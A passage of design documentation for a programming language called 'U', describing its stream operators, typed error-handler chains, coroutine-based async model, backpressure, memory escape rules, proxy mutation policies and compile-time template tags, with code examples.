For generators and internal emitters, backpressure is automatic: w obj value blocks until a handler slot opens. For external event sources (OS callbacks, network sockets, hardware interrupts), blocking is impossible — the OS will not wait. An overflow strategy tells the runtime what to do when handlers are saturated:

// .drop() — discard new events when saturated (sensor data, mouse moves)
sensor.on(handler, 16).drop()
// "I only care about events I can handle in real time"

// .latest() — keep only the most recent, discard intermediates (UI state)
price_feed.on(handler, 4).latest()
// "I only care about the current value, not the history"

// .buffer(n) — queue up to n, then drop oldest (logs, packets)
socket.on(handler, 16).buffer(1000)
// "I can catch up, but not infinitely"

// .emit() blocks by default — backpressure propagates upstream.
// If blocked closures exceed threshold → ! HeapOverflow (catchable).
// Overflow strategies prevent the error by never blocking:

Rx algebra — composing streams

All stream sources (generators, event emitters, ranges) support a composable algebra of stream operations. Each returns a new generator — lazy, backpressure-aware, and chainable.

CategoryMethodMeaning
Combiningaa.merge(bb)Interleave both streams
aa.zip(bb)Pair 1:1 → (a_val, b_val)
aa.and(bb)Emit tuple when BOTH have fired
aa.or(bb)Emit from whichever fires first
Windowing.take(n)First n elements then stop
.skip(n)Drop first n
.until(signal)Stop when signal emits
.window(n)Group into chunks of n
Timing.debounce(ms)Emit after quiet period
.throttle(ms)At most one per period
.delay(ms)Shift in time
Accumulation.scan(fn, init)Running fold, emits each intermediate
.distinct()Deduplicate consecutive
.buffer(n)Collect n then emit as array
Overflow.drop()Discard when saturated
.latest()Keep only most recent
.buffer(n)Queue up to n, drop oldest
13Control Flow

Error Handling — e

e is dual. At the definition site: e ErrType(...) throws. At the call site: x.on() (or e.on()) registers typed handlers — the same .on() subscription used everywhere. Error handlers are typed event listeners.

What .on() accepts

FormBehavior
e.on(handler)Append one typed function to that type's chain
e.on(h1, h2, h3)Append all in order — equivalent to three separate .on() calls
e.on(policy_array)Spread an array of typed functions onto the chain in order — array order is defined and preserved
Handlers accrue, by type. The underlying structure is a type-indexed array. For a given error type, registering a second handler appends it — both fire, in registration order (the same append-not-overwrite rule as pub/sub; .on() is push, and returns the generator whose .handlers (1-based) expose its registrations so they can later be removed with .off()). Early exit (returning true) stops only that specific type's chain — other type chains are independent. Library policies are exported as arrays, not objects — array order is defined, method iteration order on objects is not.
Uerrors.u
// ── Definition site ───────────────────────────────────────────────────
d NetworkError { msg: S, code: I, retryable: L }
d TimeoutError : NetworkError { elapsed: I }

a f fetch(url: S) -> S ! NetworkError ! TimeoutError
    connected | e NetworkError( msg: "offline", retryable: true )
    elapsed > limit & e TimeoutError( elapsed: elapsed )
    r => body

// ── Single and multi-arg ──────────────────────────────────────────────

a f run(url: S)
    e.on(log_timeout, retry_on_timeout)    // push both onto TimeoutError chain
    e.on((err: NetworkError) => err.retryable ? retry(url) ! log_and_fail(err.msg))
    result = a fetch(url)
    process(result)

// ── Library policy arrays — ordered, exported, composable ────────────

// In MyLib — exported as arrays, NOT objects (object method order is undefined)
network_policies: [(NetworkError)->()] = [
    log_to_sentry,
    notify_oncall,
    retry_on_recoverable   // order defined and preserved
]

// Call site — array spreads onto chain in order
a f run(url: S)
    e.on(MyLib.network_policies)        // spread array: all three appended in order
    e.on(MyLib.network_policies, extra_handler) // append more after the array
    result = a fetch(url)
    process(result)

// ── Pit of success — library symbols ─────────────────────────────────

e.on(
    MyLib.handle_network_error,
    Foo.fail_closed_on_syntax_error
)
result = a fetch(url)   // happy path
process(result)

// ── Early exit is per-type, independent chains ────────────────────────

e.on((err: NetworkError) => { reconnect() | (r => false) }) // false = stop NetworkError chain
e.on((err: NetworkError) => log_and_fail(err.msg))  // skipped if above returns false
e.on((err: TimeoutError) => retry(url))           // TimeoutError chain unaffected

// ── The rule: declare what you originate, propagation is inferred ─────

// You ORIGINATE this throw → must declare ! NetworkError in your signature
a f fetch(url: S) -> S ! NetworkError ! TimeoutError
    connected | e NetworkError( msg: "offline" )   // ← originated here
    elapsed > limit & e TimeoutError( elapsed )      // ← originated here
    r => body

// You PROPAGATE from a callee → inferred automatically, no declaration needed
a f run(url: S) -> S                   // no ! needed
    e.on((err: NetworkError) => retry(url))  // handled
    r => a fetch(url)    // TimeoutError propagates — compiler infers it
                         // no ! TimeoutError required in run()'s signature

// Optional: explicitly seal your surface — compiler verifies accuracy
a f run(url: S) -> S ! TimeoutError   // declares AND verifies: only this escapes

// Block-scoped catching: () is your try block
result = (
    e.on((err: NetworkError) => r => fallback)  // only inside this block
    a fetch(url)
)

.on() as every — and any via De Morgan

The same chain model applies to iteration. .on() runs all handlers; returning a truthy value stops the chain early and returns that item. Returning none (the default) continues. Any is the De Morgan inverse: any(f) = !every(!f). See the Fibers section for .all() and .any() on promise arrays.

Uevery-any.u
// every — false stops chain early
all_paid     = orders.on((order) => order.paid)       // false if any not paid
none_overdue = orders.on((order) => !order.overdue)   // false if any overdue

// any via De Morgan:  any(f)  =  !every(!f)
has_admin   = !users.on((user) => !user.is_admin)    // true if any user is admin
any_overdue = !orders.on((order) => !order.overdue)   // true if any order overdue
Runtime-configurable policies. Because e.on() references policy arrays by name, and those arrays can be global +M variables, administrators can modify error handling behavior across an entire application without touching function code. A logging team adds a handler to network_policy → every function that calls e.on(network_policy) picks it up automatically. An ops team swaps retry strategies in production. The pattern encourages reuse: developers reach for the shared policy array instead of writing inline handlers, which means a single edit propagates everywhere. This turns error handling from per-function boilerplate into an organizational-level concern — configurable at deploy time, auditable in one place, and impossible to forget because the compiler checks exhaustiveness against the function's declared x: ErrType list.
Static dispatch, zero-cost happy path. Handler chains are statically known in typical code. The compiler builds type-indexed dispatch tables at compile time. The happy path has zero runtime overhead. On throw: O(handlers) array scan. Error dispatch goes through the compile-time handler table rather than DWARF-table stack scanning, so there is no unwinding pass — as efficient as C++ zero-cost exception tables, often faster since RAII handles cleanup via refcounting.

Static dispatch tables — zero overhead on happy path

U's error model enables something no traditional exception system does: the compiler can build a complete, flat dispatch table at compile time from e.on() calls, because handlers are declared before the throwing calls in the same lexical scope. The compiler sees the full handler set before generating any code for fetch().

Udispatch.u
// Compiler sees these BEFORE generating fetch() code:
e.on(log_timeout)                              // TimeoutError → log_timeout
e.on((err: NetworkError) => retry(url))      // NetworkError  → retry_handler
e.on(network_policies)                         // array — flattened at compile time

// Normal execution — ZERO overhead:
result = fetch(url)   // just a function call. no try block. no stack frame metadata.
process(result)       // just a function call.

// On throw — compile-time dispatch table, O(1):
// NetworkError → dispatch_table[NetworkError] → retry_handler(err)
// TimeoutError → dispatch_table[TimeoutError] → log_timeout(err)
// No stack scanning. No unwinding. No DWARF metadata. Direct call.
MechanismHappy path costError path costBinary overhead
C++ exceptionsHidden — .eh_frame sections always presentStack scan + DWARF parse + unwind~10–20% size from unwind tables
Java checkedNoneJVM exception table scan + stack unwindException tables in bytecode
Go if err != nilNoneBranch chain — O(N handlers)None
Rust Result<T,E>Nonematch — O(1) per variantNone
U e.on()NoneCompile-time table — O(1) direct callNone

The key difference from every alternative: e.on() handlers are statically visible before the call. A C++ try { } catch { } block is a dynamic scope marker — the runtime sets up unwinding frames at each try block, scans the stack on throw, and parses DWARF tables. e.on() is a compile-time declaration. The compiler iterates the handler set, builds a typed dispatch table as a compile-time constant, and emits a direct indexed call on error. No unwinding infrastructure required.

e.off(handler) removes a registered error handler by identity, the same .on/.off pair as pub/sub. When the .on/.off calls are themselves statically placed — the common case — the dispatch table remains a compile-time constant: the compiler resolves the net handler set at compile time and the static-dispatch guarantee holds. A handler registered and removed dynamically (behind a runtime condition) falls back to an ordinary registered-set lookup for that type; the static fast path applies whenever the registration is statically determined.

e.on(network_policies) — array form is flattenable:
When network_policies is a statically-known typed array, the compiler iterates it at compile time and folds each handler into the dispatch table directly. The array form is not late binding — it is sugar for multiple e.on() calls, emitted once, seen by the compiler as a complete set before any code is generated for the call site.
14Concurrency

Execution Model, Program-as-Graph & Promise Semantics

The program IS the dependency graph

Every +A value is a node in a dependency graph. A suspended computation resumes when its +A dependencies resolve. The scheduler runs whatever is ready, parks what is waiting, and resumes it on resolution. You write ordinary code; +A annotations declare which values cross a suspension boundary.

Coroutines, not stackful fibers — the V8 model

U compiles suspension using heap-allocated continuations (closures), exactly as V8 rewrites await into .then(closure)not a stackful/cactus coroutine that preserves a whole call stack across a suspension. The reason it can: every suspension point is known at compile time. It is either a user-written a (launch concurrently, don't block the caller) or a compiler-inserted auto-await at a boundary where a +A is consumed as a plain value. Because the compiler knows every suspension site, it splits each such function at those points into a synchronous prefix (runs on the ordinary C stack, collapses and unwinds normally when it returns) and a continuation closure that captures exactly the variables live across the suspension. A fully synchronous function — one that never suspends — is pure stack, zero heap, and unwinds like C. Only the state that must outlive a suspension goes on the heap, and that state is a closure, not a stack frame, so it is strictly leaner than preserving an activation record.

Why not fibers? A stackful fiber's one advantage is invisible suspension — any call might suspend without the caller knowing. But U's a-is-explicit rule deliberately forbids invisible suspension: every suspension is marked (by a) or compiler-inserted (auto-await), so the compiler always sees them, so the leaner coroutine transform is always available. The a-explicitness decision already chose coroutines; coroutines would solve a problem the type system doesn't have.
Historical stacks are a debug feature, not a runtime cost. Production runs the lean closure chain with no preserved logical stack. Debug builds emit await-point metadata so a debugger can reconstruct the logical async stack for inspection — the same split V8 uses (lean release, async-stack-tagging in dev tools). You get Node-class production performance and cactus-quality debugging without the two fighting.

Rejection throws

When you auto-await a +A value that was rejected, it throws. The exception hits the e.on() handler chain — the same path used for all other errors. There is no separate "rejection handler" or .catch(). One mechanism for all failure paths.

.on() on arrays — Promise.all semantics

.on() on an array of mixed values and +A values is Promise.all-aware. Regular values pass through instantly; +A values are awaited concurrently. Results are returned in input order regardless of resolution order. The return is always [T] +A — always async, even if all inputs are already resolved.

Stop convention: none = continue, truthy = stop. The default return from any handler is none (falsy), meaning "continue". Returning any truthy value — including true — stops the chain. When stopped early, .on() returns T +A (the single value that triggered the stop). When all elements are processed, it returns [T] +A. This convention is uniform across data iteration and e.on() error/event handler chains.
Upromises.u
// Start N concurrent coroutines — all run in parallel
pending: [S+A] = urls.on((url) => a fetch(url))

// all — collect all results in input order (auto-await)
pages: [S] = pending.all()       // waits for all, returns [S] in order
// time = max(fetch times), not sum

// any / race — first to resolve wins (returns T +A, not array)
first: S+A = pending.any()       // stops at first resolved — Promise.race

// .all() and .any() are just functions:
// .all() = include all, never stop     — include all, never stop
// .any() = stop at first resolved     — stop at first, return it

// Custom: stop when result passes a condition
big_page: S+A = pending.on((page) => page.length > 10000 ? page ! none)
// returns first page longer than 10k chars, or continues

// Start as new coroutine — get [S] +A back, caller continues
results: [S]+A = a pending.all()

// Rejection: if any fetch throws, e.on() handlers fire
e.on((err: NetworkError) => log_and_fail(err.msg))
pages = pending.all()   // any rejection → throws → e.on() above fires

// De Morgan — any(f) = !every(!f) still works on plain arrays
has_admin   = !users.on((user) => !user.is_admin)   // true if any is admin
any_overdue = !orders.on((order) => !order.overdue)

Stack preservation

JavaScript async/await loses call frames across await points — the continuation runs in a new microtask with no knowledge of its caller. U preserves the logical async trace differently: production runs lean continuation closures, and debug builds emit await-point metadata so an exception carries the reconstructed trace from main through every intermediate caller. You get the debuggability of a preserved stack without paying to keep one at runtime.

JSlost stack
// Stack frames lost across await
async function run(id) {
  const order = await fetch(id);  // frame LOST
  await save(order);              // new stack
}
// Error in save(): trace shows
// save() internals only — run() gone
Upreserved stack
// Full stack preserved across suspension
a f run(id: I)
    order = a fetch(id)   // stack preserved
    a save(order)          // stack preserved

// Error in save(): trace shows
// save → run → main — all intact

Red-blue freedom

In JavaScript, Rust, and Python, async functions have a different "color" — once a function does anything async, every caller must become async too. U dissolves this a different way: await by default. A plain call blocks and yields a plain value, so a function that becomes +A is silently auto-awaited at the boundary wherever its result is consumed as a non-+A value — the caller's code is unchanged. Only a caller that wants the new concurrency writes a and binds a +A. So sync→async is transparent to every existing consumer and opt-in only for those exploiting the concurrency — which is the correct seam: you cannot insulate someone from a capability they are explicitly reaching for.

Uno-coloring.u
f build_report() -> S              // plain f — not a f
    data = a fetch_data()           // starts concurrent work — type inferred: S+A
    r => render(data)            // auto-awaits — no color infection
// JS: build_report must be async, every caller must be async, cascade

Capture across a suspension — the c rule

Because a continuation is a heap closure capturing the variables live across its suspension, a mutable variable can be reachable from two continuations at once: an escaping async closure that captures it, and the launching frame that continues after. If the launching frame then suspends (at any a or auto-await), the two can interleave and race on that variable. U flags exactly this: a mutable variable captured by an escaping async closure and still mutably reachable across a suspension point. The fix is to break the sharing — copy at capture with c so the closure owns its own value, or treat the variable as read-only in the launcher for the closure's lifetime:

Ucapture.u
I total = 0
items.on(a item => (
    total += item.size          // async closure mutates the captured `total`
))
// here `total` is readable but NOT mutable — it is captured across a suspension
// to have an independent value to mutate, take a copy:
snapshot = c total            // now `snapshot` is yours to modify freely
One rule, several faces. This is the same hazard as a concurrent .on() whose handler does sum += index at max_in_flight > 1: in both, a mutable is reachable from continuations that can interleave at a suspension. It is also the same hazard behind checks-effects-interactions (CEI): writing owned +M state after a suspension point exposes a half-updated object to whatever runs during the suspension — so the enforceable core of CEI in U is simply "no writes to owned +M state after the first suspension point," the interactions-last discipline made checkable. Under the single-threaded cooperative model the interleaving can only happen at a suspension point, which is exactly why every one of these checks is precise and static — it fires only when a mutation straddles an a/auto-await, not on every shared mutable. One concept — an effect that straddles a suspension — surfaced in the capture rule, the concurrent-loop race, and CEI, checked one way and flagged (a warning, since the author may have made the effect safe by means the types can't see, like an external idempotency key).
15Concurrency

The a Keyword — Async Done Right

The a keyword is a behavioral capability keyword (not a modifier). It has three syntactic positions and one meaning: engagement with the async domain.

PositionSyntaxMeaning
Function declarationf+A fetch()+A modifier — this function has suspension points. Does not infect callers. Callers doing bare fetch() auto-await inline.
Bare call — blockingresult = fetch()Blocks the caller inline until the function returns. No continuation created — an ordinary stack call. a f not required on caller. Works from any context.
Async call — non-blockingpending = a fetch()Launches concurrent work; caller continues immediately with T+A. a f not required on caller. Works from any context.
Cooperative yielda;Yield to scheduler immediately. Requires f+A declaration. Also a copy point: the compiler inserts copies of any -R+M parent-frame references the coroutine holds, so the parent can safely resume and mutate after the yield.
Sleep / yieldProcess.sleep(5)Sleep at least 5ms. Process.yield() for cooperative yield without delay. Library functions, not keywords.
Modifiers on function declarations: none. a is a keyword, not a modifier. Modifiers on a declaration describe the return value and parameters only. a f fetch(url: S) -> S +N — the +N is on the return value, a is on the function keyword.
Ua_keyword_all_forms.u
// ── Declaration: behavioral keyword, not a modifier ──────
a f lookup(key: S) -> Config+N   // 'a': method accepts a still-pending +A receiver (t stays as future)

// ── Form 1: Auto-await (default, zero annotation) ────────
cfg = lookup(key)              // coroutine suspends transparently if needed
                               // same CALL instruction regardless of sync/async

// ── Form 2: Async opt-in (a + +A inferred from a) ────────────
pending: Config+N+A = a lookup(key)  // new coroutine, caller continues

// ── Both call forms work from any context ─────────────────
result  = lookup(key)              // blocks inline — no a f on caller needed
pending: Config+N+A = a lookup(key) // concurrent — no a f on caller needed

// ── TYPE ERROR: +A without a ──────────────────────────────
pending: Config+A = lookup(key)  // ❌ +A on LHS requires 'a' at call site

// ── Cooperative yields ────────────────────────────────────
a f heavy_work()
    data.on((item, index) =>
        process(item)
        idx % 1000 == 0 & a;  // yield every 1000 items
    )

a f poll()
    w+I
        check_and_process()
        a 5              // yield at least 5ms (literal only)

Promises, events, and types — one primitive

T+A is a typed future: a value of type T that hasn't arrived yet. The same dispatch mechanism that routes e.on((err: NetworkError) => ...) by error type routes resolution of any T+A value by its type. Both are: "when a typed value arrives, call this handler." Event emitters, promises, and error chains are syntactic variations of one underlying primitive — typed arrival dispatch. The type IS the event name.

Uunified.u
// Error dispatch — fires when a typed error value arrives:
e.on((err: NetworkError) => reconnect())
e.on((err: TimeoutError)  => retry())

// Promise dispatch — fires when a typed success value arrives:
pending = a fetch(url)    // S+A — inferred
pending.on((result: S) => process(result))     // same pattern, different type
pending.on((err: NetworkError) => handle(err)) // errors also dispatched by type

// Event stream — fires repeatedly as typed values arrive:
stream = a watch_clicks()
stream.on((e: ClickEvent)  => handle_click(e))
stream.on((e: ScrollEvent) => handle_scroll(e))
// Same .on() dispatch — type determines handler

The program IS its execution DAG

The code order IS the execution order. a expr spawns a coroutine; using a +A value in a non-+A context suspends until ready. No explicit scheduler, no topological sort — data dependencies create synchronization points automatically. The dependency graph is a DAG, but you never build or sort it; it falls out of the program text.

Udag.u
p1: S+A    = a fetch(url1)    // node: no inputs
p2: Data+A = a parse(p1)     // node: fires when p1 resolves
p3: Html+A = a render(p2)    // node: fires when p2 resolves
p4: S+A    = a fetch(url2)    // node: no inputs — runs concurrently with p1

result = [p3, p4].all()         // join: fires when BOTH chains complete

// Execution order derived entirely from +A types:
// p1, p4 → concurrent (no dependencies)
// p2     → after p1
// p3     → after p2
// result → after p3 AND p4

The a f(pending) call creates DAG edges automatically — even if f was not declared with f+A, calling it with a spawns a coroutine that awaits its +A arguments, calls f with resolved values, and returns ReturnType+A. The program structure IS the dependency graph IS the execution order — three isomorphic representations. No explicit Kahn's sort needed; the code order and +A materialization rules produce it naturally.

Backpressure by default — the full picture

Backpressure is structural in U, not something you implement manually. It falls out of the type system at every level:

PatternConcurrencyBackpressure
fetch(url)None — current coroutine suspendsTotal — next line waits
a fetch(url) then use resultOne concurrent coroutineAt point of use
.on((item) => process(item))Sequential — one at a timeFull — each iteration waits
.map((item) => a f(item)).all()All concurrentAt join — waits for slowest
.map((item) => a f(item)).any()All concurrentNone — first wins, rest abandoned
a f(p1, p2) — auto-liftp1, p2 already concurrentAt call site — awaits both
Ubackpressure.u
// ── Sequential pipeline — full backpressure by default ───────────────
urls.on((url: S) =>                   // .on() waits for each before next
    html:   S                = fetch(url)       // auto-await
    data:   PageData         = parse(html)      // auto-await
    result: Templates.HTML   = render(data)     // auto-await
    store(result))
// One URL at a time. Render slow → parse waits → fetch waits → .on() waits.

// ── Fan-out pipeline — concurrent stages, bounded join ───────────────
pages: [Templates.HTML] = urls
    .map((url) =>                         // fire all fetches concurrently
        html:   S+A               = a fetch(url)
        data:   PageData+A       = a parse(html)   // waits for its own fetch
        result: Templates.HTML+A = a render(data)  // waits for its own parse
        r => result)
    .all()                                // wait for ALL — bounded
// N URLs fetch concurrently. But within each URL: fetch→parse→render is ordered.
// Backpressure within each lane. Join waits for the slowest lane.

// ── Race — first result wins ──────────────────────────────────────────
fast: User+N = [
    a db.query("SELECT * FROM users WHERE id={id}"),
    a cache.get("user:" + id),
    a search_index.find(id)
].any()                                   // first to resolve wins

// ── Toposort falls out of +A types ───────────────────────────────────
prices:  PriceData+A  = a fetch_prices()            // no deps → fires immediately
user:    UserData+A   = a fetch_user(user_id)       // no deps → fires immediately
tax:     TaxRate+A   = a get_tax_rate(user)        // waits for user
total:   Total+A     = a calculate(prices, user, tax) // waits for all three
receipt: Templates.HTML+A = a render_receipt(total) // waits for total

// Scheduler infers topological order:
// Tier 0: prices, user (concurrent, no deps)
// Tier 1: tax (after user)
// Tier 2: total (after prices + user + tax)
// Tier 3: receipt (after total)
// Critical path: max(prices, user) + tax + calculate + render
// You wrote data dependencies. The execution order is derived. No scheduler config.
Backpressure is free. In Node.js you implement backpressure manually — streams, async generators, bounded queues. In U it falls out structurally:
  • .on() is sequential by default — one item at a time
  • a f(pending) awaits pending before calling — pipeline ordering
  • .all() waits for the slowest — bounded fan-out
  • Auto-lift sugar: a f(p1, p2) awaits both concurrently before calling
You opt into unbounded concurrency with .map((x) => a f(x)). The safe default is bounded.
Unified primitive table:

e.on((err: T) => ...) — handler fires when error of type T arrives
pending.on((val: T) => ...) — handler fires when T+A resolves
stream.on((e: T) => ...) — handler fires on each T in a stream
[p1, p2].all() — fires when ALL +A inputs resolve (join)
[p1, p2].any() — fires when FIRST +A input resolves (race)

All are typed arrival dispatch. Types are events. The type name is the event name.

What +R means — escape across a suspension

Most async/await languages (JS, Python, Swift) heap-allocate every variable that survives a suspension: the stack unwinds at each suspension point, so anything a continuation still needs must escape to the heap. U works the same way in principle — with a leaner rule about what escapes.

A truly synchronous function never suspends, so its locals live and die on the ordinary stack — zero heap, freed on return, nothing to manage. The stack is the allocator for "lives exactly as long as the call," and it is optimal at that. Only when a function suspends (a user-written a, or a compiler-inserted auto-await) does anything move off the stack — and then only the variables actually live across that suspension, captured into a heap continuation closure sized to exactly that set. That escape is what +R marks: -R is a value that does not escape (stack, dies with its frame or with the synchronous prefix); +R is a value that escapes — captured into a continuation or returned — so it lives on the heap. The synchronous prefix of even an eventually-suspending function runs and unwinds on the real stack like any sync code; only the live-across-suspension set is ever heap-resident, and only from the suspension point onward.

The .on() callback in depth

The handler passed to .on() can be a named function or a lambda — they have different return semantics, but both work correctly without explicit none in the common case.

Named function — statement semantics, returns none by default:

x_named.u
f handle(user: User)           // no return type = none by default
    log(user.name)              // do work
    // implicit none — continue

users.on(handle)                 // always returns none → always continue ✓

Lambda — expression semantics, last value returned. Implicit none when non-L:

A lambda passed to .on() is in an L+N context. If its last expression returns a type that doesn't satisfy L+N (e.g. S, I), the compiler implicitly returns none — pit of success. You only write an explicit signal when you mean it.

x_lambda.u
// Last expression returns S — compiler inserts implicit none
users.on(u => log(u.name))      // log() returns S → implicit none → continue ✓

// Block lambda — last expr is assignment returning I → implicit none
total = 0
orders.on(order => (
    process(order)              // returns S — implicit none
    total = total + order.amount // returns I — implicit none
))                              // no explicit none needed ✓

// Explicit stop — return true
items.on(item => (
    process(item)
    item.id == target ? true    // guard: true if found, none otherwise → stop or continue
))

// The footgun — avoid bool as last line unintentionally
items.on(item => (
    seen = (item.id == last_id)  // returns L — IS a signal! false=skip, true=stop
    // add none at end if you don't mean to signal
))

Pipeline / backpressure — false drops element downstream:

x_pipeline.u
// .on().on() pipeline — false drops the element from downstream stages
source
    .on(item => validate(item) ? none ! false)  // false = drop invalid items
    .on(item => transform(item))                  // only sees valid items
    .on(item => save(item))                       // only sees transformed items

// Early abort — true stops the entire pipeline
source
    .on(item => item.poison ? true)              // true = abort everything
    .on(item => process(item))
Why false means skip rather than stop: false is falsy — its behaviour should resemble none (both "continue"). The distinction from none is downstream visibility: none passes the element on, false drops it. true is the outlier — it breaks. This maps cleanly to loop intuitions: none/false are both like continue, true is break. The only difference between none and false is whether the element reaches the next pipeline stage.
capture.u
// Parent scope
config = load_config()       // -R, lives on parent's stack segment
threshold = 42               // -R, same

// Async child coroutines — each gets its own branch
r1: Result+A = a process(config, threshold)  // branch 1 — config/threshold safe to capture
r2: Result+A = a process(config, threshold)  // branch 2 — same parent segment

// config and threshold never needed +R
// the continuation captures parent locals it references — kept alive as long as it lives
The tree structure:
  Parent segment  (config, threshold live here — retained by ref count)
       │
       ├── Branch 1  (r1 coroutine — references parent segment)
       └── Branch 2  (r2 coroutine — references parent segment)
            │
            └── Branch 2a  (child of r2 — parent ptr → Branch 2 → Parent)

New branch, not copy-on-write. When the parent coroutine unwinds past a fork point while a child still holds a reference to that segment, it simply starts a new branch — a fresh segment allocated from the same ancestor, leaving the retained segment intact. No copy, no coordination, no borrow check. The retained segment lives exactly as long as any child references it, then is freed.

This means parent-scope locals are safe to reference from an async closure: the compiler captures exactly the ones referenced across the suspension into the continuation. The common case — a parent scope whose variables are used by child async calls — requires zero annotation. +R is only the marker for a value that genuinely escapes; you write it when:

SituationNeeds +R?Why
Parent-scope variable captured by child coroutineNo ✓Cactus retains parent segment
Variable shared between sibling coroutinesYesSiblings are separate branches — no shared segment
Value outlives all coroutines that reference itYesMust survive beyond the declaring scope
Value stored in a collection or struct fieldYesCollection lifetime may exceed the stack frame
Value returned from an a f functionYesEscapes the stack frame that declared it
escape_cases.u
// ✓ COMMON CASE — no +R needed, capture handles it
multiplier = 3
items.on(item => (a process(item, multiplier)))  // multiplier: -R, safe

// ✓ Multiple async children sharing parent vars
base_url = "https://api.example.com"
results = [ids.map(id => a fetch(base_url, id))].all()  // base_url: -R, safe

// ✗ Sibling coroutines sharing mutable state — needs +R+M(policy)
counter: Counter+R+M(MVCC) = Counter()  // +R because siblings share it
items.on(item => (a process_and_count(item, counter)))

// ✗ Value needs to outlive declaring scope
cache: Cache+R = Cache()               // +R because stored beyond this frame
app.register(cache)

This is a qualitative difference from Rust's borrow checker (which requires explicit lifetime annotations for any sharing) and from Go (which copies entire stacks on growth). Escape-analysis capture makes the common case — parent scope referenced in async children — require no annotation at all. Annotations appear only at the boundaries where a value genuinely escapes.

Two memory regions — Stack and Heap

U has the two regions every systems language has: the call stack and the heap. There is no third "cactus" region — an earlier design used one, and removing it is a simplification, not a loss (see the reasoning below).

RegionWhat lives thereAllocationLifetime
Stack-R locals — anything that does not escape a suspension. The whole of a sync function; the synchronous prefix of one that later suspends.O(1) — frame pushFreed when the frame returns
Heap+R values — anything captured into a continuation closure or returned; the live-across-suspension set.malloc / ARC (optionally slab-pooled)ARC reference counting

Why there is no cactus. A suspended frame cannot stay on the native stack — the stack collapses on return and the next call overwrites those addresses. So a "cactus stack" that keeps suspended frames alive is, physically, a heap allocator for whole frames wearing stack-shaped clothing: an mmap'd region, fixed-size segments, a free list, parent pointers, biased refcounts. In WASM it is nakedly so — the native stack isn't addressable, so every segment lives in linear memory. Compared to a V8-style continuation closure, the cactus allocates more (the whole activation record, not just what survives the suspension) and adds parent-pointer chasing and biased ARC on top. Its one real feature — a child reaching a parent's locals by pointer without copying — is exactly what a closure gives for free by capturing the referenced variables. The closure is precise (captures the live set) where the cactus is conservative (retains everything); precise wins. So the cactus was never a third primitive — it was the heap with extra steps, and it dragged in the work-stealing and core-pinning machinery that only existed to manage its segments.

Optional: pool-allocated continuations

Continuation closures have a regular shape and lifetime — allocated at a suspension, freed when the continuation completes, roughly frame-sized — which makes them a natural fit for a slab/pool allocator instead of raw malloc. This is a bounded, workload-dependent optimization, not part of the semantics: for I/O-bound work (the common case) the allocation is noise against I/O latency and raw malloc is fine; for a suspension-heavy hot path, pooling earns its keep. Nothing about the language depends on it.

Defensive a foo() — future-proof call sites for free

You can write a foo() even when foo is not yet an a f. While foo is synchronous, the call is an ordinary stack call — zero overhead, no closure created. If foo later becomes async, the call site is already correct. And because U awaits by default, even callers that didn't write a keep working when foo goes async: its result is auto-awaited at the boundary where it's consumed as a plain value. The only cost of going async is one continuation allocation at the suspension point, paid where it happens, not propagated to callers.

Compiling to WASM

Because continuations are ordinary heap closures rather than stack segments, WASM needs no special stack machinery. A suspending function is compiled — as V8 does for JavaScript — into a state machine whose live-across-suspension set is a heap-allocated object in linear memory; suspension stores the resumption point, resumption reloads it. Sync functions use WASM's native call stack directly. No shadow-stack pool, no Asyncify whole-program rewrite, no dependence on the (still-progressing) stack-switching proposal — though if that proposal lands, suspending functions can map onto native cont/suspend/resume for an additional win. The native C target compiles the same way: sync on the C stack, continuations as heap (optionally pooled) closures.

16Concurrency

Proxy Policies — +M(policy)

All +R +M objects are proxy-mediated. The +M(policy) modifier declares how writes and reads are handled. It can appear on the class definition as a default, or at the binding site as an override. Multiple concurrent writers are possible — structurally impossible in safe Rust.

ModifierSemanticsCleanupBest for
+R(RAII)Lifetime policy on +R: __cleanup__() fires when last ref dropsImmediate, ref-countedFile handles, GPU resources, DB connections
+R(Network)Lifetime policy on +R: object lives remotely, reads/writes are RPCRemote lifetimeMicroservices, distributed objects
+R(GPU)Lifetime policy on +R: object lives in GPU device memoryGPU driverML weights, tensors, geometry buffers
+M(Actor)Write policy on +M: all mutations serialised through message queueRefcountedMutable state with concurrent writers, UI
+M(MVCC) DEFAULTWrite policy on +M: optimistic versioning — readers never block, writers create new versionOld versions freed when no readersConfig, shared state with rare writes
+M(CRDT)Write policy on +M: commutative merge — all writes eventually consistentRefcountedDistributed counters, sets, logs
+M(Mutex)Write policy on +M: exclusive lock — one writer at a timeRefcountedLow-level critical sections
Class-level vs binding-site. +P on the class definition is the default for all +R +M instances. +P at the binding site overrides it. If neither is specified, the binding site must declare one when using +R +M.
Uproxy.u
// Class-level default policy
d AppState+M(MVCC)
    data: [S]

state: AppState+R+M = AppState()  // uses MVCC from class
snap = c state             // instant snapshot, no lock
state.update(delta)          // serialized write through proxy

// Binding-site policy — class has no default, policy declared here
inbox: Queue+R+M(Actor)  = Queue()
inbox.append(msg)              // enqueued, processed in order

votes: GCounter+R+M(CRDT) = GCounter()
votes.increment(node_id)      // order doesn't matter, same result

// RAII — cleanup fires when last reference drops
d FileHandle+R(RAII)
    fd: I
    f __cleanup__(t: FileHandle+R)  // called automatically on last-ref-drop
        os.close(t.fd)

// Override class default at binding site
c1: Counter+R+M          = Counter()  // uses class default
c2: Counter+R+M(MVCC) = Counter()  // override
15Templates

Context-Aware Templates — Inline and External

U has nine compile-time template tags. Each tag enforces a distinct type contract on interpolated values. The same tags work both inline (backtick literals) and as external file loaders via Template.*. Both forms are validated at compile time; both produce the same typed output values.

Template tags are compile-time functions that return compiled runtime functions. The tag validates the schema at compile time, generates a specialised function, and returns it as a typed value. The inline form sql\`SELECT ...\`(args) compiles once and calls immediately; the stored form const q = sql\`SELECT ...\` is a prepared statement — compile once, call many times on hot paths.

Security is isolated in the tag module. The sql module is solely responsible for SQL injection safety; the html module for XSS; the capnproto module for schema validation and field layout; the eip712 module for ABI encoding correctness. Each module is the single load-bearing point for its domain. Audit it once — every use site is safe by construction. You cannot construct an Html value without going through html\`\`; you cannot issue a query without going through sql\`\`. The compiler enforces you go through the chokepoint.

Third-party tags extend this to any schema format: capnproto\`Foo/User\`(bytes) reads a .capnp schema at compile time, verifies the U type matches, and returns a compiled [B] → User+N decoder. The capnproto module carries the security responsibility for that domain, just as sql does for queries.

Template tags are a typed DSL engine — better than preprocessor macros.

Traditional macro systems (C #define, Rust proc-macros, Lisp macros) are DSL engines built on top of the language, operating on token streams without type participation. Template tags in U are DSL engines built inside the language, where the type system participates at every step:

Preprocessor macrosU template tags
Written inSeparate meta-language (token streams)U itself — z f functions
